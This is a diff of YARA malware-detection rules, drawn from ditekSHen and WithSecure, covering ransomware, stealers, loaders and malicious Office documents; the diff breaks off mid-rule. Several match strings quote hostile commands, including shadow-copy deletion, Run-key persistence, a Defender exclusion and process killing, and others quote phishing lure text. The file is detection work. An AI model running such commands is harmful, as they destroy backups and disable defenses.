+		$obj1 = "\\objhtml" ascii
+		$obj2 = "\\objdata" ascii
+		$obj3 = "\\objupdate" ascii
+		$obj4 = "\\objemb" ascii
+		$obj5 = "\\objautlink" ascii
+		$obj6 = "\\objlink" ascii
+		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
+		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
+		$ole3 = "64306366313165306131623131616531" ascii
+		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
+		$ole5 = { 64 30 63 66 [0-2] 31 31 65 30 61 31 62 31 31 61 65 31 }
+		$ole6 = "D0cf11E" ascii nocase
+		$s1 = "55524c446f776e6c6f6164546f46696c6541" ascii nocase
+		$s2 = "55524c4d4f4e" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and 3 of ($s*)) or 5 of ($s*))
+		uint32(0)==0x74725c7b and (1 of ($clsid*) and 1 of ($obj*) and 1 of ($ole*) and 1 of ($s*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_G0Crypt : FILE
+rule DITEKSHEN_INDICATOR_OLE_Excel4Macros_DL3 : FILE
 {
 	meta:
-		description = "Detects G0Crypt / BRG0SNet / NovaGP ransomware"
+		description = "Detects OLE Excel 4 Macros documents acting as downloaders"
 		author = "ditekSHen"
-		id = "c0dd8a1b-1aa6-50be-92c4-125eabaf3f9f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "794cac49-e917-5282-8cbd-8ecf91a2dc9e"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10141-L10174"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L817-L835"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a678bbb02b82c34fb5e7bdce2e60b0da88f12b094e7ca3b74345814d0da5ce42"
+		logic_hash = "83eaf60b900119b9fcd458e9e9dda119fd71785821bf282e9385031368ff9891"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$x1 = "G0Crypt/go/" ascii
-		$x2 = "BRG0SNet" ascii
-		$x3 = "/NovaGroup" ascii
-		$x4 = "novagroup@onionmail.org" ascii nocase
-		$x5 = "# Nova Group" ascii
-		$f1 = "main.HaveRun" ascii
-		$f2 = "main.FindFile" ascii
-		$f3 = "main.deriveKey" ascii
-		$f4 = "main.Pwd" fullword ascii
-		$f5 = "/ClearBashFile" ascii
-		$f6 = "/ClearUserTempFiles" ascii
-		$f7 = "/KillProccess" ascii
-		$f8 = "/Encryptor" ascii
-		$f9 = "/NoDirEncrypt" ascii
-		$f10 = "/RunCmdEexecutable" ascii
-		$f11 = "/StopImportantServices" ascii
-		$f12 = "/GetPwd" ascii
-		$s1 = "\\$Recycle.Bin"
-		$s2 = ".README.txt"
-		$s3 = "\\BRSPATH.exe"
-		$s4 = "taskkill /F /IM sql*"
-		$s5 = "C:\\inetpub\\logs\\"
-		$s6 = "shutdown /r"
-		$s7 = ":\\Program Files\\VMware\\"
-		$s8 = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v Message /t REG_SZ /d"
-		$s9 = "reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v DelLogSoft /t REG_SZ /d"
+		$a1 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 }
+		$a2 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3a 00 }
+		$a3 = { 18 00 21 00 20 00 00 01 12 00 00 00 00 00 00 00 00 00 01 3a ff }
+		$a4 = { 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 }
+		$a5 = { 18 00 17 00 aa 03 00 01 07 00 00 00 00 00 00 00 00 00 00 02 3a 00 }
+		$a6 = "auto_open" ascii nocase
+		$a7 = "auto_close" ascii nocase
+		$s1 = "* #,##0" ascii
+		$s2 = "URLMon" ascii
+		$s3 = "DownloadToFileA" ascii
+		$s4 = "DllRegisterServer" ascii
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or 7 of ($f*) or (1 of ($x*) and (5 of ($f*) or 5 of ($s*))) or (6 of ($f*) and 4 of ($s*)) or 12 of them )
+		uint16(0)==0xcfd0 and 1 of ($a*) and all of ($s*) and #s1>3
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Modiloader : FILE
+rule DITEKSHEN_INDICATOR_DOC_Phishingpatterns : FILE
 {
 	meta:
-		description = "Detects ModiLoader"
+		description = "Detects OLE, RTF, PDF and OOXML (decompressed) documents with common phishing strings"
 		author = "ditekSHen"
-		id = "2b3fd8ec-b672-574b-9b50-1a9ca9f43299"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "67372eb5-ed07-5062-a12e-9ad8c7070f0f"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10199-L10236"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L837-L858"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fc006377e6d41515503b0b234ff87f59d930a7d9f8b32d2e072de79b9c52ddc4"
+		logic_hash = "50b6566cb18512f887c07576391eb492101f7534da3460d5f7740ee6f4cf707d"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
 
 	strings:
-		$x1 = "*()%@5YT!@#G__T@#$%^&*()__#@$#57$#!@" fullword wide
-		$x2 = "dntdll" fullword wide
-		$x3 = "USERPROFILE" fullword wide
-		$s1 = "%s, ProgID: \"%s\"" ascii
-		$s2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" ascii
-		$s3 = "responsetext" ascii
-		$s4 = "C:\\Users\\Public\\" ascii
-		$s5 = "[InternetShortcut]" fullword ascii
-		$c1 = "start /min powershell -WindowStyle Hidden -inputformat none -outputformat none -NonInteractive -Command \"Add-MpPreference -ExclusionPath 'C:\\Users'\" & exit" ascii nocase
-		$c2 = "mkdir \"\\\\?\\C:\\Windows \"" ascii nocase
-		$c3 = "mkdir \"\\\\?\\C:\\Windows \\System32\"" ascii nocase
-		$c4 = "ECHO F|xcopy \"" ascii nocase
-		$c5 = "\"C:\\Windows \\System32\" /K /D /H /Y" ascii nocase
-		$c6 = "ping 127.0.0.1 -n 6 > nul" ascii nocase
-		$c7 = "del /q \"C:\\Windows \\System32\\*\"" ascii nocase
-		$c8 = "rmdir \"C:\\Windows \\System32\"" ascii nocase
-		$c9 = "rmdir \"C:\\Windows \"" ascii nocase
-		$g1 = "powershell" ascii nocase
-		$g2 = "mkdir \"\\\\?\\C:\\" ascii nocase
-		$g3 = "\" /K /D /H /Y" ascii nocase
-		$g4 = "ping 127.0.0.1 -n" ascii nocase
-		$g5 = "del /q \"" ascii nocase
-		$g6 = "rmdir \"" ascii nocase
+		$s1 = "PERFORM THE FOLLOWING STEPS TO PERFORM DECRYPTION" ascii nocase
+		$s2 = "Enable Editing" ascii nocase
+		$s3 = "Enable Content" ascii nocase
+		$s4 = "WHY I CANNOT OPEN THIS DOCUMENT?" ascii nocase
+		$s5 = "You are using iOS or Android, please use Desktop PC" ascii nocase
+		$s6 = "You are trying to view this document using Online Viewer" ascii nocase
+		$s7 = "This document was edited in a different version of" ascii nocase
+		$s8 = "document are locked and will not" ascii nocase
+		$s9 = "until the \"Enable\" button is pressed" ascii nocase
+		$s10 = "This document created in online version of Microsoft Office" ascii nocase
+		$s11 = "This document created in previous version of Microsoft Office" ascii nocase
+		$s12 = "This document protected by Microsoft Office" ascii nocase
+		$s13 = "This document encrypted by" ascii nocase
+		$s14 = "document created in earlier version of microsoft office" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and ((2 of ($x*) and ( all of ($g*) or (2 of ($s*) and 2 of ($c*)))) or ( all of ($s*) and (2 of ($c*) or all of ($g*))) or (4 of ($c*) and (1 of ($x*) or 2 of ($s*))) or ( all of ($g*) and 4 of ($c*)) or 13 of them )
+		( uint16(0)==0xcfd0 or uint32(0)==0x74725c7b or uint32(0)==0x46445025 or uint32(0)==0x6d783f3c) and 2 of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Akira : FILE
+rule DITEKSHEN_INDICATOR_OOXML_Excel4Macros_EXEC : FILE
 {
 	meta:
-		description = "Detects Akira Ransomware Windows"
+		description = "Detects OOXML (decompressed) documents with Excel 4 Macros XLM macrosheet"
 		author = "ditekSHen"
-		id = "350ecf81-7926-5cd2-b0c8-2dd748775e74"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "674ef310-d3bc-5e15-862f-29aa111becb3"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10238-L10261"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L860-L873"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "73dd0a1b21be8ff7362536f6b6255cd19510632782effd67a56d7656bebf04ff"
+		logic_hash = "ab3994e4082390f65d030db0b898a20df1d7e4b0ca2fdedc7a9d0f1480fd0334"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		clamav_sig = "INDICATOR.OOXML.Excel4MacrosEXEC"
 
 	strings:
-		$x1 = "https://akira" ascii
-		$x2 = ":\\akira\\" ascii
-		$x3 = ".akira" ascii
-		$x4 = "akira_readme.txt" ascii
-		$x5 = "\\akira\\asio\\include\\asio\\impl\\co_spawn.hpp" ascii
-		$s1 = "Get-WmiObject Win32_Shadowcopy | Remove-WmiObject" ascii
-		$s2 = "Win32_ProcessStartup" fullword wide
-		$s3 = /Failed\sto\smake\s(part|full|spot)\sencrypt/ ascii wide
-		$s4 = "--encryption_" ascii
-		$s5 = "--share_file" ascii
-		$s6 = { 24 00 52 00 45 00 43 00 59 00 43 00 4C 00 45 00 2E 00 42 00 49 00 4E 00 00 00 00 00 6? 6? 6? 00 (24|57) 00 (52|69) 00 }
-		$s7 = " PUBLIC KEY-----" ascii
-		$s8 = ".onion" ascii
-		$s9 = "/Esxi_Build_Esxi6/./" ascii nocase
-		$s10 = "No path to encrypt" ascii
-		$s11 = "-fork" fullword ascii
+		$ms = "<xm:macrosheet" ascii nocase
+		$s1 = ">FORMULA.FILL(" ascii nocase
+		$s2 = ">REGISTER(" ascii nocase
+		$s3 = ">EXEC(" ascii nocase
+		$s4 = ">RUN(" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($x*) or (1 of ($x*) and 4 of ($s*)) or 6 of ($s*))
+		uint32(0)==0x6d783f3c and $ms and (2 of ($s*) or ($s3))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Linux_Akira : FILE
+rule DITEKSHEN_INDICATOR_OOXML_Excel4Macros_Autoopenhidden : FILE
 {
 	meta:
-		description = "Detects Akira Ransomware Linux"
+		description = "Detects OOXML (decompressed) documents with Excel 4 Macros XLM macrosheet auto_open and state hidden"
 		author = "ditekSHen"
-		id = "3ac144b3-c747-58e5-bc75-b3f90786f404"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "c5aab620-5254-5fc6-b236-4fe0f69cbd8e"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10263-L10282"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L875-L885"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3a00154e1cfc442718e753641d3706ffd4dd8465525d0bb2854f74dfb1cf5dd0"
+		logic_hash = "a93d8aa7ac025a0c2e8a9ac833f6d4c3cd3769ffca3f87455f43411d0021e828"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		clamav_sig = "INDICATOR.OOXML.Excel4MacrosEXEC"
 
 	strings:
-		$x1 = "https://akira" ascii
-		$x2 = ":\\akira\\" ascii
-		$x3 = ".akira" ascii
-		$x4 = "akira_readme.txt" ascii
-		$s1 = "--encryption_" ascii
-		$s2 = "--share_file" ascii
-		$s3 = { 00 24 52 65 63 79 63 6c 65 2e 42 69 6e 00 24 52 45 43 59 43 4c 45 2e 42 49 4e 00 }
-		$s4 = " PUBLIC KEY-----" ascii
-		$s5 = ".onion" ascii
-		$s6 = "/Esxi_Build_Esxi6/./" ascii nocase
-		$s7 = "No path to encrypt" ascii
-		$s8 = "-fork" fullword ascii
+		$s1 = "state=\"veryhidden\"" ascii nocase
+		$s2 = "<definedName name=\"_xlnm.Auto_Open" ascii nocase
 
 	condition:
-		uint16(0)==0x457f and (3 of ($x*) or (1 of ($x*) and 4 of ($s*)) or 6 of ($s*))
+		uint32(0)==0x6d783f3c and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Romcom_Loader : FILE
+rule DITEKSHEN_INDICATOR_SUSPICOIUS_RTF_Encodedurl : FILE
 {
 	meta:
-		description = "Hunt for RomCom loader"
-		author = "ditekShen"
-		id = "49a5398a-e28d-51e2-90d5-479d815f9967"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects executables calling ClearMyTracksByProcess"
+		author = "ditekSHen"
+		id = "6b3f0434-24b2-5ae8-a6fc-c0fdded4996f"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10309-L10325"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L905-L916"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7aef88aa9f201c3a1852d63b17c14e44c7c2a7dfe94a9bc77897a4aa0eb97486"
+		logic_hash = "cb791bb5e2af46ff9f1f07cef33bbd51edc44b2394d6f3eff31d39eaa5ff2a33"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
+	strings:
+		$s1 = "\\u-65431?\\u-65419?\\u-65419?\\u-65423?\\u-" ascii wide
+		$s2 = "\\u-65432?\\u-65420?\\u-65420?\\u-65424?\\u-" ascii wide
+		$s3 = "\\u-65433?\\u-65430?\\u-65427?\\u-65434?\\u-" ascii wide
+		$s4 = "\\u-65434?\\u-65431?\\u-65428?\\u-65435?\\u-" ascii wide
+
 	condition:
-		uint16(0)==0x5a4d and pe.is_dll() and (pe.exports("DllCanUnloadNow") and pe.exports("DllGetClassObject") and pe.exports("DllRegisterServer") and pe.exports("DllUnregisterServer") and pe.exports("GetProxyDllInfo")) and for any fn in pe.export_details : (fn.forward_name contains "Dll")
+		uint32(0)==0x74725c7b and any of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Romcom_Worker : FILE
+rule DITEKSHEN_INDICATOR_RTF_Remotetemplate : CVE_2017_11882 FILE
 {
 	meta:
-		description = "Hunt for RomCom worker"
-		author = "ditekShen"
-		id = "ce545a33-731c-5ecd-b02e-cedf24f75cc7"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects RTF documents potentially exploiting CVE-2017-11882"
+		author = "ditekSHen"
+		id = "59b31243-a360-531f-99ea-32b54d19ab52"
+		date = "2024-02-22"
+		modified = "2024-02-22"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10327-L10340"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L918-L928"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "488db046458585882a4709438042b57e02d7dbc06483fdfdfc463a64ee8db203"
-		score = 75
-		quality = 73
-		tags = "FILE"
+		logic_hash = "3a75072bc4d9c7dc53220afe359911c04cd3267c142058352de80ec430a53517"
+		score = 60
+		quality = 35
+		tags = "CVE-2017-11882, FILE"
 
 	strings:
-		$s1 = "UpdateProcThreadAttribute" fullword ascii
-		$s2 = "WriteFile" fullword ascii
-		$s3 = "GetAdaptersAddresses" fullword ascii nocase
-		$s4 = /inflate\s\d+\.\d+\.\d+\sCopyright/ ascii
-		$s5 = "SetHandleInformation" fullword ascii
-		$s6 = "PeekNamedPipe" fullword ascii
+		$s1 = "{\\*\\template http" ascii nocase
+		$s2 = "{\\*\\template file" ascii nocase
+		$s3 = "{\\*\\template \\u-" ascii nocase
 
 	condition:
-		uint16(0)==0x5a4d and pe.is_dll() and pe.number_of_exports==1 and pe.exports("Main") and all of them
+		uint32(0)==0x74725c7b and 1 of them
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Romcom_Dropper : FILE
+rule DITEKSHEN_INDICATOR_JAVA_Packed_Allatori
 {
 	meta:
-		description = "Hunt for RomCom worker"
-		author = "ditekShen"
-		id = "1b77122d-95d7-535d-897e-b542da17f499"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects files packed with Allatori Java Obfuscator"
+		author = "ditekSHen"
+		id = "16b9f455-ba73-5f09-9822-8349c53fa965"
+		date = "2023-08-29"
+		modified = "2023-08-29"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10342-L10353"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_packed.yar#L113-L121"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "89f62f71e5870c1e5d14bc32dd3508da620f5fa85494251c69682eb09d630029"
+		logic_hash = "ac48a573eb9d9fffe38d09993ff062f308edb07b8a7498e332cc3eb501d48db7"
 		score = 75
 		quality = 75
-		tags = "FILE"
+		tags = ""
+		importance = 20
 
 	strings:
-		$s1 = "\\REGISTRY\\MACHINE\\SOFTWARE\\Classes" wide nocase
-		$s2 = "\\REGISTRY\\USER" wide nocase
-		$s3 = "BINARY" fullword wide
-		$s4 = "POST" fullword wide
+		$s1 = "# Obfuscation by Allatori Obfuscator" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and pe.is_dll() and pe.number_of_exports==1 and pe.exports("Main") and 3 of them
+		all of them
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_STEALDEAL : FILE
+rule DITEKSHEN_INDICATOR_EXE_Python_Byte_Compiled : FILE
 {
 	meta:
-		description = "Hunt for STEALDEAL stealer"
-		author = "ditekShen"
-		id = "4685fea3-4050-5395-af2b-cb0ba4104b47"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		description = "Detects python-byte compiled executables"
+		author = "ditekSHen"
+		id = "04ae604c-6176-54cf-98e9-4386e52420f8"
+		date = "2023-08-29"
+		modified = "2023-08-29"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10355-L10366"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_packed.yar#L211-L220"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "366c33b06ed9403b2b840d98e25287333eb52f2588f747981b3c0c3baf4fd27a"
+		logic_hash = "212d525509a4d8fb7f1b5efa929526c8758549bfdb8591c88ce602315e6b3147"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$x1 = "stealDll.dll" fullword ascii
-		$s1 = "SqlExec" fullword ascii
-		$s2 = "etilqs_" fullword ascii
-		$s3 = "SUBQUERY %u" fullword ascii
+		$s1 = "b64decode" ascii
+		$s2 = "decompress" ascii
 
 	condition:
-		uint16(0)==0x5a4d and pe.is_dll() and pe.exports("stub") and (1 of ($x*) or all of ($s*))
+		uint32(0)==0x0a0df303 and filesize <5KB and all of them
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Darkcloud : FILE
+rule DITEKSHEN_INDICATOR_MSI_EXE2MSI : FILE
 {
 	meta:
-		description = "Detects DarkCloud infostealer"
+		description = "Detects executables converted to .MSI packages using a free online converter."
 		author = "ditekSHen"
-		id = "e29e1dc7-87b8-5d6b-b73b-460dc2530875"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "039df7b6-e4bf-5537-ae5b-f2168044e77e"
+		date = "2023-08-29"
+		modified = "2023-08-29"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10368-L10389"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_packed.yar#L222-L233"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7826cc4185d6edb760d062019e0fa30f800c34e5fb4b0eedcfb17081e6c7643d"
+		logic_hash = "afd48b54766600805ae1aeef13b11de4ca160ea1f96419a4090ab9dae55fa4cd"
 		score = 75
-		quality = 48
+		quality = 75
 		tags = "FILE"
+		snort2_sid = "930061-930063"
+		snort3_sid = "930022"
+		importance = 20
 
 	strings:
-		$x1 = "=DARKCLOUD=" wide
-		$x2 = "#DARKCLOUD#" wide
-		$x3 = "DARKCLOUD" wide
-		$s1 = "DC-Creds" fullword wide
-		$s2 = "shell.application" fullword wide
-		$s3 = "VBSQLite3.dll" ascii wide nocase
-		$s4 = "getbinaryvalue" fullword wide
-		$s5 = "sqlite_exec" fullword ascii
-		$i1 = "RegWrite" fullword wide
-		$i2 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" wide
-		$i3 = "\\Templates\\Stub\\Project" wide
-		$i4 = "\\Credentials" wide
-		$i5 = "SELECT " wide
-		$i6 = "\\163MailContacts.txt" fullword wide
+		$winin = "Windows Installer" ascii
+		$title = "Exe to msi converter free" ascii
 
 	condition:
-		uint16(0)==0x5a4d and ((1 of ($x*) and (3 of ($s*) or 3 of ($i*))) or ( all of ($s*) and 1 of ($i*)) or (4 of ($s*) and 4 of ($i*)))
+		uint32(0)==0xe011cfd0 and ($winin and $title)
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Arcrypt : FILE
+rule DITEKSHEN_INDICATOR_PY_Packed_Pyminifier : FILE
 {
 	meta:
-		description = "Detects ARCrypt / ChileLocker ransomware"
+		description = "Detects python code potentially obfuscated using PyMinifier"
 		author = "ditekSHen"
-		id = "a53bbae6-a321-549d-9d45-e1a408d08740"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a111c116-a2b3-5689-8d44-221adf37e932"
+		date = "2023-08-29"
+		modified = "2023-08-29"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10391-L10417"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_packed.yar#L331-L339"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cc9fa68d093fdf9745a06beb28e29108cb2ba846122ce097ad892213b1edba25"
+		logic_hash = "c7e916906d4654215de6d12e1bff790f24bcf69e97a7e5314a2a057a91b135a3"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		importance = 20
 
 	strings:
-		$c1 = "readme_for_unlock.txt" wide
-		$c2 = "vssadmin.exe delete shadows /all /quiet" wide
-		$c3 = "START /b \"\" cmd /c wmic /node:" wide
-		$c4 = "START /b \"\" cmd /c DEL \"" wide
-		$c5 = "process call create cmd /c START" wide
-		$c6 = "net config server /autodisconnect:" wide
-		$c7 = "/NOBREAK>NUL) ELSE (START /b \"\" cmd /c DEL \"%~f" ascii
-		$c8 = ":\\_ARC\\_WorkSolution\\cryptopp" ascii
-		$e1 = /\.crYpt([A-F]{0,1}(\d+)?)?/ fullword wide
-		$e2 = ".dnt___.crYpt" wide nocase
-		$s1 = "create_directory" fullword ascii
-		$s2 = "create_directories" fullword ascii
-		$s3 = "NoClose" fullword ascii
-		$s4 = "StartMenuLogOff" fullword ascii
-		$s5 = "NoLogOff" fullword ascii
-		$s6 = "DisableTaskMgr" fullword ascii
-		$s7 = "DisableChangePassword" fullword ascii
-		$s8 = "HideFastUserSwitching" fullword ascii
-		$s9 = "RemotePath" fullword ascii
+		$s1 = "exec(lzma.decompress(base64.b64decode("
 
 	condition:
-		uint16(0)==0x5a4d and (5 of ($c*) or 7 of ($s*) or (3 of ($c*) and 4 of ($s*)) or (1 of ($e*) and (1 of ($c*) and 1 of ($s*))) or ( all of ($e*) and (1 of ($c*) or 1 of ($s*))))
+		( uint32(0)==0x6f706d69 or uint16(0)==0x2123 or uint16(0)==0x0a0d or uint16(0)==0x5a4d) and all of them
 }
-import "pe"
+/*
+ * YARA Rule Set
+ * Repository Name: WithSecureLabs
+ * Repository: https://github.com/WithSecureLabs/iocs
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c
+ * Number of Rules: 5
+ * Skipped: 0 (age), 0 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * BSD 2-Clause License
 
-rule DITEKSHEN_MALWARE_Win_Rootteamstealer : FILE
+Copyright (c) [2022], [WithSecure Oyj]
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met:
+
+1. Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer.
+
+2. Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution.
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+rule WITHSECURELABS_Ducktail_Artifacts : FILE
 {
 	meta:
-		description = "Detects RootTeam infostealer"
-		author = "ditekSHen"
-		id = "3b57ff3e-09cf-52be-ac7f-45ee832d70ab"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10419-L10435"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d1693865253067527d58c980653d550b55d022d5a394b88090a958e5d5818143"
+		description = "Detects artifacts found in files associated to DUCKTAIL malware"
+		author = "WithSecure"
+		id = "937c9688-b74f-5e02-838f-ab6757a8d2a1"
+		date = "2022-07-18"
+		modified = "2022-07-26"
+		reference = "https://labs.withsecure.com/publications/ducktail"
+		source_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/DUCKTAIL/ducktail_artifacts.yar#L1-L20"
+		license_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/LICENSE"
+		logic_hash = "1daa5e654058c802826b6a306b5bfc9d0c05c4ee54607e94e618a8d409ce74d9"
 		score = 75
 		quality = 75
 		tags = "FILE"
+		version = "1.0"
+		hash1 = "3dbd9e1c3d0fd6358d4adcba04fdfc0b6e8acc49"
+		hash2 = "9370243589327b458486e3f7637779c2a96b4250"
+		hash3 = "b98170b18b906aee771dbd4dbd31e5963a90a50e"
 
 	strings:
-		$x1 = "RootTeamStl" ascii
-		$x2 = "Bot: https://t.me/rootteam_bot" ascii
